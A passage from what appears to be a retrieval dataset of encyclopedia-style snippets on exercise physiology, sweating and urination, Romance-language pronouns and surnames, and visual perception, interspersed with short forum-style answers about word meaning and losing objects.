not substantially affect the rate of diuresis. Partial immersion of only the limbs does not cause increased urination. Thus, the hand in warm water trick (immersing the hand of a sleeping person in", "should be taken not to overheat a person with MS during the course of exercise. There is some evidence that cooling measures are effective in allowing a greater degree of exercise: cold showers, cold water limb immersion, applying ice packs, and drinking cold beverages. These strategies are effective when attempting to decrease core temperature post-exercise, and as a method of pre-cooling prior to physical activity or heat exposure. The interaction between an elevated core temperature and the pathological demyelination can cause a transient nerve conduction block that leads to temporarily impaired physical and cognitive function. These effects translate to reduced", "and observing the gradual response. Aquagenic urticaria is treated with capsaicin (Zostrix) administered to the chafed skin. This is the same treatment used for shingles. Antihistamines are of questionable benefit in this instance, since histamine is not the causative factor. Exercise The condition was first distinguished in 1980. People with exercise urticaria (EU) experience hives, itchiness, shortness of breath and low blood pressure five to 30 minutes after beginning exercise. These symptoms can progress to shock and even sudden death. Jogging is the most common exercise to cause EU, but it is not induced by a hot shower, fever, or", "water by increasing water reabsorption in the collecting ducts of the kidney nephron. Vasopressin increases water permeability of the kidney's collecting duct and distal convoluted tubule by inducing translocation of aquaporin-CD water channels in the kidney nephron collecting duct plasma membrane. Urination Urination is the ejection of urine from the urinary bladder through the urethra to the outside of the body. In healthy humans (and many other animals), the process of urination is under voluntary control. In infants, some elderly individuals, and those with neurological injury, urination may occur as an involuntary reflex. Physiologically, micturition involves coordination between the central,", "workouts. Dehydration is one of the biggest factors that can give almost immediate feedback from the body by producing very dark-colored urine. Anatomy Exertional rhabdomyolysis results from damage to the intercellular proteins inside the sarcolemma. Myosin and actin break down in the sarcomeres when ATP is no longer available due to injury to the sarcoplasmic reticulum. Damage to the sarcolemma and sarcoplasmic reticulum from direct trauma or high force production causes a high influx of calcium into the muscle fibers increasing calcium permeability. Calcium ions build up in the mitochondria, impairing cellular respiration. The mitochondria are unable to produce enough", "recovery; however, the internal physical processes are not well understood and remain elusive. Generally research into the health effects of cold water immersion as part of an athletic training regimen is inconclusive, with some studies suggesting a mild benefit such as reducing muscle damage and discomfort and alleviating delayed onset muscle soreness, with other studies suggesting that cold water immersion may slow muscle growth and interfere with an overall training regimen. Bath It is done by standing or sitting in a bucket or bath of icy water. One writer advised: \"don't overdo it.\" Wearing rubberized \"dive booties\" on the feet", "for the active secretion of sweat. Whole-body sweat losses in men can exceed 2 L/h during competitive sport, with rates of 3–4 L/h observed during short-duration, high-intensity exercise in the heat. When such large amounts of water are being lost through perspiration, electrolytes, especially sodium, are also being lost.\nIn most athletes, exercising and sweating for 4–5 hours with a sweat sodium concentration of less than 50 mmol/L, the total sodium lost is less than 10% of total body stores (total stores are approximately 2,500 mmol, or 58 g for a 70-kg person). These losses appear to be well tolerated by most people.", "a form of evaporative cooling, hominins rely on sweating, allowing evaporation to occur on a much larger surface area. In this way, sweating results in better thermoregulation that allows the hominin to outlast the prey during the chase. This is one potential explanation for the loss of most body hair in humans. Those individuals with less body hair would be able to better thermoregulate while running to avoid overheating. For this species to exist under the endurance running hypothesis, running most likely did not result in the frequency of injuries that it does today, because such an injury to early", "requires re-hydration to compensate for. Replacement of fluid is limited but can help keep the body's internal temperatures cooler. Fluid replacement is physiologically challenging during exercise of this intensity due to the inefficient emptying of the stomach. Partial fluid replacement can serve to avoid a marathon runner's body over heating but not enough to keep pace with the loss of fluid via sweat evaporation. Environmental factors can especially complicate heat regulation. Impact on health The impact of long-distance running on human health is generally positive. Various organs and systems in the human body are", "other hand, a fit person will start sweating earlier and more readily. As someone becomes fit, the body becomes more efficient at regulating the body's temperature and sweat glands adapt along with the body's other systems.\nSweat is not pure water; it always contains a small amount (0.2–1%) of solute. When a person moves from a cold climate to a hot climate, adaptive changes occur in the sweating mechanisms of the person. This process is referred to as acclimatisation: the maximum rate of sweating increases and its solute composition decreases. The volume of water lost in sweat daily is highly variable,", "the environment\". Some of the underlying medical conditions and infections that cause these severe night sweats can be life-threatening and should promptly be investigated by a medical practitioner. Mechanism Sweating allows the body to regulate its temperature. Sweating is controlled from a center in the preoptic and anterior regions of the brain's hypothalamus, where thermosensitive neurons are located. The heat-regulatory function of the hypothalamus is also affected by inputs from temperature receptors in the skin. High skin temperature reduces the hypothalamic set point for sweating and increases the gain of the hypothalamic feedback system in response to variations in core", "episodes of urinary or fecal incontinence, are generally a normal part of toilet training and are usually not a sign of serious medical issues. Accidents that occur with additional problems, such as pain when urinating or defecating, chronic constipation, or blood in urine or feces, should be evaluated by a pediatrician. The prevalence of nocturnal enuresis, also known as bed wetting, may be as high as 9.7% of seven-year-olds, and 5.5% of ten-year-olds, eventually decreasing to a rate of about 0.5% in adults. Complications Toilet training can be increasingly difficult for parents of children who have certain developmental, behavioral or", "of achieving cleanliness by washing away dead skin cells, dirt, and soil and as a preventative measure to reduce the incidence and spread of disease. It also may reduce body odors, however, some people note that may not be so necessary as commonly thought.\nBathing creates a feeling of well-being and the physical appearance of cleanliness.\nBathing may also be practised for religious ritual or therapeutic purposes or as a recreational activity. Bathing may be used to cool or to warm the body of an individual.\nTherapeutic use of bathing includes hydrotherapy, healing, rehabilitation from injury or addiction, and relaxation.\nThe use of a", "also increase sexual gratification, allowing women to complete pompoir and aid in reducing premature ejaculation in men. The many actions performed by Kegel muscles include holding in urine and avoiding defecation. Reproducing this type of muscle action can strengthen the Kegel muscles. The action of slowing or stopping the flow of urine may be used as a test of correct pelvic floor exercise technique.\nIt is now known that the components of levator ani (the pelvic diaphragm), namely pubococcygeus, puborectalis and ileococcygeus, contract and relax as one muscle. Hence, pelvic floor exercises involve the entire levator ani rather than pubococcygeus alone.", "blood flow to be taken away from the stomach, causing nausea.\nAnother possible cause of exercise induced nausea is overhydration. Drinking too much water before, during, or after extreme exercise (such as a marathon) can cause nausea, diarrhea, confusion, and muscle tremors. Excessive water consumption reduces or dilutes electrolyte levels in the body causing hyponatremia.", "physical exercise. The increase in body heat from wearing a sauna suit gives the impression of getting \"a good workout\". Body wrapping Sauna suits are also worn for body wrapping in some health spas. The wearer is first wrapped in bandages saturated with mineral and/or herbal preparations and then covered with a sauna suit. The objective of this process is to enable the wearer to \"sweat out toxins\", however there is little scientific evidence to support the effectiveness of this practice. Sauna suits are often worn specifically for such sweat excretion rather for exercise or weight", "after exercise does not prevent soreness. Treatment The soreness usually disappears within about 72 hours after appearing. If treatment is desired, any measure that increases blood flow to the muscle, such as low-intensity activity, massage, nerve mobilization, hot baths, or a sauna visit may help somewhat.\nImmersion in cool or icy water, an occasionally recommended remedy, was found to be ineffective in alleviating DOMS in one 2011 study, but effective in another. There is also insufficient evidence to determine whether whole-body cryotherapy – compared with passive rest or no whole-body cryotherapy – reduces DOMS, or improves subjective recovery, after exercise.\nCounterintuitively, continued" ]

[ "It means \"of the\"(from). As in Mike from the Valley, Paul of Rome or Mike of the long arms." ]

[ "use the particle \"de\" are the nobiliary ones, such as the Álvarez de Toledo, Ramírez de Arellano or Fernández de Córdoba. In these cases, the first surname indicates the original name of the family, whereas the second surname denotes the nobiliary feud of that family. In this case, the conjunction \"de\" (of) reflects that the family used to be the feudal lords of that place. Thus, the Ramírez were the lords of the village of Arellano, in Navarra.\nÁlava, Spain is notorious for its incidence of true compound surnames, known as \"apellido compuesto alavés\" (Álava compound surname).", "which also occurs in Philippine Spanish. For example, \"pared\" [paˈdeɾ] (Tagalog \"pader\"), Filipinas [piliˈpinas] (Tagalog \"Pilipinas\"), entender [intinˈdiɾ] (Tagalog \"intindi\") and ojal [uˈhal] (Tagalog \"uhal\"). No aspiration of /s/ Unlike many Spanish and Latin American dialects, syllable-final \"s\" is always pronounced as an alveolar sibilant [s], rather than a glottal fricative [h]. For example, \"amores secos\" [aˈmoɾes ˈsekos]. Retention of [h] of words originating from Latin f Words like \"hacer\" [aˈseɾ], \"hablar\" [aˈblaɾ] come from the Latin words \"facere\" and \"fabulare,\" respectively. However, in Philippine Spanish, the initial letter is pronounced as [h]; in other dialects, it is either silent", "Spanish pronouns Relative pronouns The main relative pronoun in Spanish is que, from Latin QVID. Others include el cual, quien, and donde. Quien The pronoun quien comes from the Latin QVEM, \"whom\", the accusative of QVIS, \"who\".\nIt too can replace [el] que in certain circumstances. Like the English pronouns \"who\" and \"whom\", it can only be used to refer to people.\nIt is invariable for gender, and was originally invariable for number. However, by analogy with other words, the form quienes was invented. Quien as a plural form survives as an archaism that is now considered non-standard. Donde,", "-eaux American surnames This is a common ending in the United States for historically Cajun surnames, such as Arceneaux, Babineaux, Boudreaux, Breaux, Laundreaux, Legeaux, Marceaux, Monceaux, Rabideaux, Robicheaux, Seaux, Thibodeaux, and Trabeaux. This combination of letters is pronounced with a long \"O\" sound /oʊ/. United States spelling and use Although there is debate about the exact emergence of this spelling in the United States, it has been claimed that the spelling originated from immigrants who did not speak or read English having to make an \"x\" mark at the end of their printed name in order to sign a legal", "de vocês, do senhor, etc.). The expressions o(s) senhor(es) and a(s) senhora(s) are also used in formal contexts in modern EP, in addition to a large number of similar pronominalized nouns that vary according to the person who is being addressed, e.g. a menina, o pai, a mãe, o engenheiro, o doutor, etc.\nHistorically, você derives from vossa mercê (\"your mercy\" or \"your grace\") via the intermediate forms vossemecê and vosmecê Nós vs. a gente A common colloquial alternative to the first-person-plural pronoun nós \"we\" is the noun phrase a gente (literally meaning \"the people\"), which formally takes verbs and", "English in the United States, 1948, p.337 Possessive forms The existence of the genitive (or possessive) form y'all's indicates that y'all functions as a pronoun as opposed to a phrasal element. The possessive form of y'all has not been standardized; numerous forms can be found, including y'alls, y'all's, y'alls's, you all's, your all's, and all of y'all's. All y'all All y'all, all of y'all, and alls y'all are used by some speakers to indicate a larger group than is necessarily implied by y'all though this form can be considered, in certain parts of the American South, incorrect, as being redundant.", "possessive pronoun pa (generally ba in Arabic, which lost the phoneme /p/ in the course of developing from Proto-Semitic). For example, Bayoumi (variations: Baioumi, Bayoumi, Baioumy) \"of Fayyoum\", Fayyoum meaning \"of the big water (yom)\", Basyouni (of Aswan), Bashandi, Bakhoum (\"the eagle\"), Bekhit, Bahur (\"of Horus\") and Banoub (\"of Anubis\").\nThe name Shenouda, which is very common among Copt, means \"child of God\". Hence, names and many toponyms may end with -nouda, -noudi or -nuti, which means Of God in Egyptian and Coptic. In addition, Egyptian families often derive their name from places in Egypt, such as Minyawi from Minya and", "contrast, Spanish possessive pronouns agree with neither the gender of the possessor nor that of the possession (but they do agree with number of the possession), except in the construct with de: de él, de ella (\"of his, of hers\"). In the third person, the possessive pronoun su(s) is used. Example: Su libro could mean either \"his book\" or \"her book\", or even \"your book\" when speaking politely using the \"usted\" form of \"you\", while the informal form of \"you\" (\"tú/vos\") would be \"tu libro\", with the gender of the possessor being made clear from the context of the statement.", "possessives with an article (*the my car) or (in today's English) other definite determiner such as a demonstrative (*this my car), although they can combine with quantifiers in the same ways that the can (all my cars, my three cars, etc.; see English determiners). This is not the case in all languages; for example in Italian the possessive is usually preceded by another determiner such as an article, as in la mia macchina (\"my car\", literally \"the my car\"). Nomenclature While some classify the words my, your, etc. as possessive adjectives, others, due to the differences noted above, do not", "as well. -da-, -ta-, -ši- (early -še₃-), occurring in this order, are the comitative, ablative and terminative verbal prefixes; the dative (occurring before the others) is probably /-a-/, and a directive /-i-/ (occurring after the others) is widely recognized as well. The pronominal prefixes are /-n-/ and /-b-/ for the 3rd person singular animate and inanimate respectively; the 2nd person singular appears as -e- in most contexts, but as /-r-/ before the dative (-ra-), leading some to assume a phonetic /-ir-/ or /-jr-/. The 1st person may appear as -e-, too, but is more commonly not expressed at all (the", "two different spellings of the name from older documents such as \"Badhala\" in \"Relacion de las Costumbres de Los Tagalos\" (1589, Juan de Plasencia) and \"Batala\" in \"Relacion de las Yslas Filipinas\" (1582, Miguel de Loarca), the latter was supposedly the correct spelling in Tagalog since the letter \"h\" was silent in Spanish. Bathala or Batala was apparently derived from Sanskrit \"bhattara\" (noble lord) which appeared as the sixteenth-century title \"batara\" in the southern Philippines and Borneo. In Indonesian language, \"batara\" means \"god\", its feminine counterpart was \"batari\". It may be worth noting that in Malay, \"betara\" means holy, and", "a gente excepto si), but Ele referiu-se a toda a gente excepto a si, Falaste a todos menos a mim, Falaste com todos menos comigo (not *com eu). Clearing ambiguity in the 3rd person Due to the use of seu(s), sua(s) as 2nd-person possessive pronouns, dele(s) and dela(s) are normally used as 3rd-person possessive markers in lieu of seu(s)/sua(s) to eliminate ambiguity, e.g. Onde está o seu carro (\"Where is your car?\") vs. Onde está o carro dele? (\"Where is his car?\"). Seu/Sua used as 3rd-person possessive pronouns are still frequent, especially when referring to the subject of the clause", "for example, possessive forms derived from other pronouns include one's, somebody's and nobody's. There is however a distinct form whose for the possessive of the interrogative and relative pronoun who; other languages may have similarly functioning words, such as the Russian чей chey (\"whose?\"). Another possessive found in Russian and other Slavic languages is the reflexive possessive, corresponding to the general reflexive pronoun; the Russian form is свой svoj (meaning \"one's (own)\", \"my (own)\", etc.). From nouns In some languages, possessives are formed from nouns or noun phrases. In English, this is done using the ending -'s, as in Jane's,", "reduplication, but the only other verb, makan, is an obvious Malay loan. \nSaing'óre 'eye', saing kóme 'nose', sóntong 'teeth', sumóre 'belly' all begin similarly, suggesting a prefix, possibly a possessive prefix, with a nasal -ng' that assimilates to a following consonant, and with sumóre 'belly' presumably from *more or *pore. \nSeveral of the numbers begin with sV-, a common pattern in Austronesian languages where 'one' is reduced to a prefix. Indeed, seena 'one' is a possible Austronesian loan. Donohue suggests that sarone 'ten' ~ sisarone 'twenty' may reflect an earlier vigesimal system, possibly from sa- 'one' doh 'person' -ne (suffix),", "olos (they/them [non-human]). When an object appears elsewhere than after the verb, an accusative preposition je is used. For the possessives, -a is added, as in Esperanto.\nThe definite article is la, the generic article il. The latter is used for classes of things, as in 'birds fly'.\nAs in Esperanto, nouns end in -o, adjectives in -a, and adverbs in -e. However, the nominal plural takes -s, and there is no plural for adjectives.\nThe verbal inflections are infinitive -ar, present -an, past -in, future -un, conditional -eban, imperative -es. There is also a generic ending -en which may be used with", "of personal names is preceded in NPAG with an asterisk (*). One example are the forms ending with -acum, the name forms with a proprietary name, one example includes the name *Stirpius (derived from *Stirpiacum in which is the etymology of Étréchy) with the explication: The name [of a person] comes from stirps, souche in French; from E. Nègre (TGF § 6359).", "oneself with one's own terminology. After the 18th-century grammarians began to refer to the genitive case as the possessive case, grammarians and other commentators got it into their heads that the only use of the case was to show possession.... Simply changing the name of the genitive does not change or eliminate any of its multiple functions.\nThis dictionary also cites a study that found that only 40% of the possessive forms were used to indicate actual possession.\nThe modern spelling convention distinguishes possessive singular forms (Bernadette's, flower's, glass's, one's) from simple plural forms (Bernadettes, flowers, glasses, ones), and both of those", "Spanish personal pronouns Tú/vos and usted Like French and other languages with the T-V distinction, modern Spanish has a distinction in its second person pronouns that has no equivalent in modern English. The most basic is the difference between tú (vos in voseo areas) and usted: tú or vos is the \"familiar\" form, and usted, derived from the third-person form \"your grace\" (vuestra merced), is the \"polite\" form. The appropriate usage of these forms is fundamental to interpersonal communication. Using the usted form when addressing someone implies that the person addressed is a social superior, someone to whom respect is", "either category, although its is nearly always found in the second.) Those of the second type have traditionally also been described as possessive adjectives, and in more modern terminology as possessive determiners. The term \"possessive pronoun\" is sometimes restricted to the first type. Both types replace possessive noun phrases. As an example, Their crusade to capture our attention could replace The advertisers' crusade to capture our attention. Reflexive and reciprocal Reflexive pronouns are used when a person or thing acts on itself, for example, John cut himself. In English they all end in -self or -selves and must refer to", "name and in most cases it is only shown as an initial (for example 'S.' for Suryapeth).\nIn English and other languages like Spanish—although the usual order of names is \"first middle last\"—for the purpose of cataloging in libraries and in citing the names of authors in scholarly papers, the order is changed to \"last, first middle,\" with the last and first names separated by a comma, and items are alphabetized by the last name. In France, Italy, Spain, Belgium and Latin America, administrative usage is to put the surname before the first on official documents. History While the use of", "form of the pronoun.\nThe specific form of this pronoun can be derived from Proto-Indo-European *yū(H)s (2nd plural nominative). It is most widespread in the Germanic languages, but has cognates in other branches of Indo-European languages such as Ved. yūyám, Av. yūš, Gk. humeis, Toch. yas/yes, Arm. dzez/dzez/cez, OPruss. ioūs, Lith. jūs, Ltv. jūs, Alb. juve, ju. In other Indo-European languages the form derived from *wō̆s (second person plural oblique) began to prevail: Lat. vōs, Pol. wy, Russ. вы [vy].\nIn the early days of the printing press, the letter y was used in place of the thorn (þ), so many modern", "of him/her\". (In spoken Brazilian Portuguese, these collocations are the usual way of expressing the third-person possessive, since the former possessive seu carro now has the meaning \"your car\".)\nThe same demonstrative ille is the source of the definite article in most Romance languages (see below), which explains the similarity in form between personal pronoun and definite article. When the two are different, it is usually because of differing degrees of phonological reduction. Generally, the personal pronoun is unreduced (beyond normal sound change), while the article has undergone various degrees of reduction, beginning with loss of one of the two original", "Nota accusativi Nota accusativi is a grammatical term meaning \"denoting accusative case\". It is generally applied to linguistic indicators of the accusative case. An example is the use of the preposition a in Spanish to indicate an animate direct object (the \"personal a\"): \"Jorge llama a María\". Esperanto Officially, in Esperanto, the suffix letter \"n\" is used to mark an accusative. But a few modern speakers use the unofficial preposition \"na\" instead of the final \"n\".\n- Mi havas domon.\n- Mi havas na domo.\n- I have a house. Hebrew In Hebrew the preposition אֶת et used for definite nouns in", "/ˈsiʝa/ (Tagalog \"silya\"). However, yeísmo, which merged the two, occurs in some words like \"cebollas\" /seˈboʝas/ (Tagalog \"sibuyas\") and \"caballo\" /kaˈbaʝo/ (Tagalog \"kabayo\"). Seseo As in Latin American Spanish, /θ/ is not distinguished from /s/. For example, cerveza /seɾˈbesa/ (Tagalog \"serbesa\"). Retraction of /x/ to [h] The velar jota sound /x/ is retracted to glottal [h], which also occurs in Andalusian, Caribbean, Canarian, and Colombian Spanish: \"Jorge\" [ˈhoɾhe ~ ˈholhe]. Merger of /d/ and /ɾ/, /p/, and /f/ and non-open vowels Malayo-Polynesian countries often interchange /d/ and /ɾ/, /p/ and /f/, /e/ and /i/ as well as /o/ and /u/),", "English field) or Geirrton (Old Norse spear) or Garton (Old English spear,weapon), all omit the S. S is used in Modern English to suggest plural and possessive. Nouns, noun phrases and some pronouns generally form a possessive with the suffix 's'. This form, is sometimes called the Saxon genitive, reflecting the suffix's derivation from a genitive case ending in Old English (Anglo-Saxon) (actually a Clitic).\nThis suggests at least two possible roots. Firstly one based on grazing as not geographically specific, unlikely to be fenced in, within the periods we are dealing with and secondly one based", "order The given name(s) normally comes before the surname. However, in a list of people sorted alphabetically by surname, the surname usually comes first. In many formal situations the given name is omitted altogether. Informal language Informal forms of address are normally used only by relatives, close friends and colleagues. In such situations diminutives are often preferred to the standard forms of given names.", "Latin declension Grammatical cases A complete Latin noun declension consists of up to seven grammatical cases: nominative, vocative, accusative, genitive, dative, ablative and locative. However, the locative is limited to few nouns: generally names of cities, small islands and a few other words.\nThe case names are often abbreviated to the first three letters. Order of cases In Britain and countries influenced by Britain, the Latin cases are usually given in the order Nom–Voc–Acc–Gen–Dat–Abl(–Loc). This order was first used in Benjamin Hall Kennedy's Latin Primer (1866), and it reflects the tendencies of different cases to share similar endings (see below).\nHowever, in", "Spanish receives the name sobresdrújula. (Spanish words can be stressed only on one of the last three syllables, except in the case of a verb form with enclitic pronouns, such as poniéndoselo.) All proparoxytones and sobresdrújulas have a written accent mark.\nAdjectives spelled with a written accent (such as fácil, geográfico, cortés) keep the written accent when they are made into adverbs with the -mente ending (thus fácilmente, geográficamente, cortésmente), and do not gain any if they do not have one (thus libremente from libre). In the pronunciation of these adverbs—as with all adverbs in -mente—primary stress is on", "However, it is also common for the nickname to be identified after a comma following the full real name or later in the body of the text, such as in an obituary (e.g., Frankie Frisch, \"The Fordham Flash\"). The middle name is generally eliminated (if there is one), especially in speech. Like English, German uses (German-style) quotation marks between the first and last names (e.g., Andreas Nikolaus „Niki“ Lauda). Other languages may use other conventions; for example, Italian writes the nickname after the full name followed by detto 'called' (e.g., Salvatore Schillaci detto Totò), in Spanish the nickname is written", "can be used to mean \"to be called\", like the Dutch heten, it is less commonly used for that purpose, hence \"what is your name?\" and \"my name is John\" would be wat is jou naam? and my naam is Johan, rather than hoe heet jy? (\"how are you called?\") and ek heet Johan. By contrast, Dutch would use hoe heet je? and ik heet John.\nIn Afrikaans, heet is used to mean \"to be said\", for example, soos dit heet (\"as it is claimed\") or, as in Dutch, \"to bid\", as in ek heet jou welkom (\"I bid you welcome\"" ]

[ "We don't really \"see\" things that we look at. We scan, and imagine all the missing details. We also need to be paying attention to those details (to some extent) AND to have a good idea of what we're actually looking for. Finally we often impose our ideas on reality.\n\nFirst of all, we usually fail on the scanning side, because we're in a hurry, sweeping our eyes over things quickly, etc.\n\nSecondly, we're often not paying that much attention to the actual search: instead, we're obsessing about having lost the item, about being late, imagining where ELSE it could be when it's NOT here, etc. So imposing the idea that it's not here, when it might be. That feeds our imagination, which fills in the details in the room, and literally tells the imagination/visual system, \"no, I'm not really expecting keys, so it must be something else you're looking at.\" And just like things morph in our dreams, or morph from clouds to dogs in the recently published Google AI research, we change the scene, so we see something else instead of keys.\n\nThirdly, we often don't remember what the item looked like when we last touched it. So maybe it's lying upside down, or jumbled up with something else, or half-hidden under something. And so even if we see it, we don't recognise it's \"pattern\".\n\nBasically, we just suck at searching for things in jumbled places like homes. Nuts at the base of their usual tree type, in their usual forest type, tend to look pretty similar, compared to all the configurations of a keyring under coats or on worktops in a modern home, I suppose.\n\nAnd then we have all the modern pressure of expectation to have our keys at every moment, compared to the simple expectation that nuts are sometimes hard to find, but if you keep looking, you'll find it eventually." ]

[ "is incomplete, partially hidden by other objects, or if part of the information needed to make a complete picture in our minds is missing. For example, if part of a shape’s border is missing people still tend to see the shape as completely enclosed by the border and ignore the gaps. This reaction stems from our mind’s natural tendency to recognize patterns that are familiar to us and thus fill in any information that may be missing.\nClosure is also thought to have evolved from ancestral survival instincts in that if one was to partially see a predator their mind", "can't see, or don't see, or our brain doesn't let us see, because we think that it's somebody else's problem. That’s what SEP means. Somebody Else’s Problem. The brain just edits it out, it's like a blind spot.\nThe narration then explains:\nThe Somebody Else's Problem field... relies on people's natural predisposition not to see anything they don't want to, weren't expecting, or can't explain. If Effrafax had painted the mountain pink and erected a cheap and simple Somebody Else’s Problem field on it, then people would have walked past the mountain, round it, even over it, and simply never have noticed", "note of all the difficulties along your path. During the descent, you will no longer see them, but you will know that they are there if you have observed carefully.\n\nThere is an art to finding your way in the lower regions by the memory of what you have seen when you were higher up. When you can no longer see, you can at least still know. . .\nSome of the paintings of the Spanish-Mexican painter, Remedios Varo, were used in the illustrations for the first edition of this novel, like Embroidering the Earth's Mantle and The Ascension of Mount Analog.", "Therefore, there is no such thing as transsaccadic memory. Information previously lost only appears to be retained in visual memory because we can look again. In this way, the outside world acts as a visual memory. Since our eyes are constantly moving, we are not aware that visual inputs are constantly being refreshed to give the illusion of the completed picture we think we are seeing. \nDennett makes a distinction between the presence of representation, and the representation of presence. The example he gives regarding this distinction is this: if you were to walk into a room covered in identical", "of the inability to perceive visual motion following a traumatic brain injury, two years prior, in which a large cedar light pole fell and struck his head. He gave examples of his difficulty as a hunter. He was unable to notice game, to track other hunters, or to see his dog coming towards him. Instead, these objects would appear in one location and then another, without any movement being seen between the two locations. He had difficulties driving and following a group conversation. He lost his place when vertically or horizontally scanning a written document and was unable to visualize", "Yeiush Yeiush shelo mida'at Yei’ūsh shelo mida'at (Hebrew: יאוש שלא מדעת) occurs when the owner of a lost object does not know the object is lost (or does not know the circumstances surrounding the loss), but would have given up hope on finding the object had he known that the object was lost (e.g., if an item with no form of identification falls from the pocket of a person on a public thoroughfare but the person does not know that it has fallen). The legal significance of this scenario occurs if the object is found by another person before the", "\"seeing\" it, while another might suggest that a person might be \"seeing\" something, but not truly \"look at\" it. Both arrangements suggest that the person is directing their vision towards the thing, but failing to give sufficient attention to notice specific characteristics or implications of what is in the visual field. Looking in intense, pronounced, or prolonged ways A number of troponyms exist to illustrate kinds of looking that are either intentionally or unconsciously done in intense, pronounced, or prolonged ways.\n\"Staring\" is an intense form of looking in which the eyes of the person looking remain fixed on the subject", "believe what you hear, don't believe what you see / If you just close your eyes / You can feel the enemy...' I can't remember it, but the point is: you start to see the world in a different way, and you're part of the problem, not just part of the solution\". In 2006, he noted it was \"a song about being a hypocrite, and I think we all can be and I certainly have been. And you know, you exact very high standards on people in the world but then you don't live them personally\", noting the theme was", "of nowhere, on Manchester's snowy streets. ‘Anthony’ has no recollection of who he is, where he came from nor where he’s supposed to go but he seems to know things. He can find things that are lost and make lives whole again.\nEverything starts with a lost bangle. This is where ‘Anthony’ discovers his ability to see what has happened to a person prior to losing what they seek and how they’ve lost what they desire. He touches a person’s hand and sees in his mind their story leading up to the loss of what they are seeking. Despite being lost", "activity.\nI believe that Fornasetti one day, when he was young, had an incredible vision. I do not know if it was during the day or at night, but he must have seen, all of a sudden, the whole world, all the deposits of figures and memories, being blown to pieces (...). He seems to have decided that if there was nothing left on the ground but a layer of debris and broken stuff, and if that was the only floor on which to walk, if he was obliged to walk on the soft ground of a sort of shapeless dump", "Ages. She also realizes she's invisible, not dead. At the streets, she meets a Seer, who can see her because she has something called the \"Second Sight\", obtained by an object called the Double Monocle (as this book centers around the sense of sight). She also does some fortune telling with a deck of tarot cards with Cass, showing her that the Ace of Wands card is upside down, meaning that an old wrong must be righted. The Seer gives a suggestion that maybe something has been stolen or she has stolen something. She then shows Cass the Fool card,", "through things\". He said of his first work, the Rose Seidler House. \"This house explodes the surfaces that enclose a normal house or space, and turns it into a continuum of free standing planes, through which the eye can never see an end, you are always intrigued what's beyond, you can always see something floating into the distance, there is never an obstruction to your vision, it is a continuum (of space), that I believe 20th century man's eye and senses responds positively to that, we crave this\". Again referring to Rose Seidler House plan, \"(there are) planes of interacting", "and you will see all these little things - the dots, the question marks, the periods, the commas, the little tadpoles in there - everything. All those little pieces that we ignore, because they're insignificant. Well, put them all together and it really turns into something.\"", "one is a friend of the Kapre, then that person will have the ability to see it and if they were to sit on it then any other person would be able to see the huge entity.\nKapres, also called agtà, are said to play pranks on people, frequently making travelers become disoriented and lose their way in the mountains or in the woods. They are also believed to have the ability to confuse people even in their own familiar surroundings; for instance, someone who forgets that they are in their own garden or home is said to have been", "still among us if we only know where to look.\"", "she can never find herself. \"Look for the viewing self and find only the view. I am, it seems, the world I see.\" 4. Where is this? Blackmore observes flowers and asks where resides the experience of them—e.g., their yellowness. Clearly it's not in the flowers themselves because, for instance, what looks yellow to Blackmore would look different to a bee with a very different visual system. Another option is that the color is represented by a pattern of neural firing in her visual cortex, but it's not clear why that neural activity is \"yellow itself\". 5. How does thought", "and if they somehow get lost in translation to the other side of the brain this causes the feeling of recognition when we again see said object, person etc. However, he incorrectly assumed that these feelings occur only when the mind is exhausted (from hunger, lack of sleep etc.). His description, though elementary compared to current knowledge, set the groundwork and sparked interest in this topic for subsequent researchers. Arthur Allin (1896) was the first person to publish an article attempting to explicitly define and differentiate between subjective and objective definitions of the experience of recognition although his findings are", "is possible that observers are not even able to identify that the stimuli they are seeing are coherent objects. Thus observers perceive some representation of the stimuli but are actually unaware of what that stimulus is. It is because the stimulus is not encoded as a specific thing, that it later is not remembered. Individuals fail to report what the stimuli is after it has been removed. However, despite a lack in ability to fully process the stimuli, experiments have shown a priming effect of the critical stimuli. This priming effect indicates that the stimuli must have been processed to", "It then steps two paces aside, and the most inquisitive glance that you ever saw, and more inquisitive than you would ever have thought of, is drawn out of those fixed and leaden eyes, as if one were drawing a sword from a scabbard. The visiting figure, which has the appearance of coming by accident and not by design, stops just a second or two, in the course of which looks are exchanged which, though you cannot translate, you feel must be of most important meaning. After this, the eyes are sheathed up again, and the figure resumes its stony", "spot. He can touch and move things, but the second he looks back, the object is back in place. The twist occurs when a bird dies by flying into a window, and Niklas recognizes that he is still alive, but dying in the woods. Annelie finds out that it was actually her boyfriend who snitched on her because she didn't want to give him his part of the stolen things.\nNiklas is left helpless as he watches his mother and the police hunt for his body. His friend commits suicide over the event and leaves a letter for his parents and", "unable to see, due to its hidden location in his body.", "cannot be obtained. The effect is often the result of calling some particular missing piece of information to the person's attention.", "(1929), Morihiko Fujisawa gave the caption \"a nuribotoke oddity as a spirit of objects\" to Sekien's \"nuribotoke\" picture that was included for illustration. It is also said that the eyes hanging down is meant to convey the idea of \"what can the eyes of the people in a house with a dirty butsudan see? Those eyes can't see anything, can they now?\" Because of this, they are considered to appear in houses with an untidy butsudan and startle people.", "Looking Looking is the act of intentionally focusing visual perception on someone or something, for the purpose of obtaining information, and possibly to convey interest or another sentiment. A large number of troponyms exist to describe variations of looking at things, with prominent examples including the verbs \"stare, gaze, gape, gawp, gawk, goggle, glare, glimpse, glance, peek, peep, peer, squint, leer, gloat, and ogle\". Additional terms with nuanced meanings include viewing, watching, eyeing, observing, beholding, and scanning. Looking is both a physical act of directing the focus of the eyes, and a psychological act of interpreting what is seen", "as a result of his comments and his attitude I began to see, observe, how blind we are to one another's humanity. Blinded by a lot of things that have, perhaps, initiated feelings in that light. We don't see into the depths of our interconnection. The gifts, the strength and potential within other human beings. We stop at color quite often. So one of the things we have to be aware of is who we are in order to have the capacity to like others. But when you cannot visualize the offerings of another human", "both the light and the vision of forms. Shortly after the vision of light and shapes disappear. I thought, \"What is the cause and condition in which light and vision of the forms disappear?”\nThen consider the following: \"The question arose in me and because of doubt my concentration fell, when my concentration fell, the light disappeared and the vision of forms. I act so that the question does not arise in me again.”\nI remained diligent, ardent, perceived both the light and the vision of forms. Shortly after the vision of light and shapes disappear. I thought, \"What is the cause", "correspond to that which is too small to be seen with the naked eye, or to radiation to which the eye is not sensitive, but rather to life, which is forever invisible because it is radically immanent and never appears in the exteriority of the world. No-one has ever seen a force, a thought or a feeling appear in the world in their inner reality; no-one has ever found them by digging into the ground.\nSome of his assertions seem paradoxical and difficult to understand at first glance, not only because they are taken out of context, but above all", "But things and people are not what they seem and clues lead to something bigger and 